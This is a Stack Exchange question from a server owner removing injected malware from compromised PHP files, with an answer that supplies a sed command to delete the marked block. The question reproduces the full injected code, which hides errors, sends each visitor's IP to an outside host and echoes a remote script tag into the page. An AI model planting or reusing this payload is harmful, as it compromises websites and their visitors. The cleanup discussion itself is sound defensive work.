Take the 2-minute tour ×
Unix & Linux Stack Exchange is a question and answer site for users of Linux, FreeBSD and other Un*x-like operating systems.. It's 100% free, no registration required.

One of the domains on my Centos 6.5 (64 bit) server has been compromised. Having run a detection script on the public_html folder I have identified all the files with this code injection.

I understand the SED command will help me rid the files of the code but I've never used the command before. I need some advice on what syntax to use. Please see the code example below that I want to remove (same code in every infected file):

    <?php
    #7968e7#
    if (empty($ywf)) {
error_reporting(0);
@ini_set('display_errors', 0);
if (!function_exists('__url_get_contents')) {
    function __url_get_contents($remote_url, $timeout)
    {
        if (function_exists('curl_exec')) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $remote_url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
            curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds
            $_url_get_contents_data = curl_exec($ch);
            curl_close($ch);
        } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
            $ctx = @stream_context_create(array('http' =>
                array(
                    'timeout' => $timeout,
                )
            ));
            $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
        } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
            $handle = @fopen($remote_url, "r");
            $_url_get_contents_data = @stream_get_contents($handle);
        } else {
            $_url_get_contents_data = __file_get_url_contents($remote_url);
        }
        return $_url_get_contents_data;
    }
}
if (!function_exists('__file_get_url_contents')) {
    function __file_get_url_contents($remote_url)
    {
        if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
            $remote_url, $matches)
        ) {
            $protocol = strtolower($matches[1]);
            $host = $matches[2];
            $path = $matches[3];
        } else {
            // Bad remote_url-format
            return FALSE;
        }
        if ($protocol == "http") {
            $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);
        } else {
            // Bad protocol
            return FALSE;
        }
        if (!$socket) {
            // Error creating socket
            return FALSE;
        }
        $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
        $len_written = @fwrite($socket, $request);
        if ($len_written === FALSE || $len_written != strlen($request)) {
            // Error sending request
            return FALSE;
        }
        $response = "";
        while (!@feof($socket) &&
            ($buf = @fread($socket, 4096)) !== FALSE) {
            $response .= $buf;
        }
        if ($buf === FALSE) {
            // Error reading response
            return FALSE;
        }
        $end_of_header = strpos($response, "\r\n\r\n");
        return substr($response, $end_of_header + 4);
    }
}

if (empty($__var_to_echo) && empty($remote_domain)) {
    $_ip = $_SERVER['REMOTE_ADDR'];
    $ywf = "http://www.sentinelproducts.com/message/FVkWXrCj.php";
    $ywf = __url_get_contents($ywf."?a=$_ip", 1);
    if (strpos($ywf, 'http://') === 0) {
        $__var_to_echo = '<script type="text/javascript" src="' . $ywf . '?id=108212681"></script>';
        echo $__var_to_echo;
    }
}
    }
    #/7968e7#
    ?>
    <?php

    ?>

It is quite a large block of code so I'm wondering how I can go about removing it from the many infected files. There are javascript files infected with code as well but if I can get a grasp of how to rid the .php files of the code above then I can modify the command to clean the javascript files.

share|improve this question
2  
Please see also serverfault.com/questions/218005/… –  derobert May 2 at 16:17
    
It's probably a good idea to consider reinstalling the whole server. When the server has been compromised, you can't know what harmful software might be running on it.. –  daniel kullmann May 5 at 13:35

1 Answer 1

First do a backup.

This will remove the lines between the tags #7968e7# and #/7968e7# the original file will be kept with .bkp extension but it's better if you have a backup.

 sed -i.bkp '/#7968e7#/,/#\/7968e7#/ {d}'  filename  

It will leaves empty php blocks.

<?php
?>
<?php

?>
share|improve this answer
    
Thanks. My bad, but the #7968e7# and #/7968e7# code changes in each file. Also if you know a way to do a recursive search and delete for a given string in multiple files, that would be great. I'd love to vote up your answer but I need more rep first :) –  user3596738 May 2 at 20:13

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.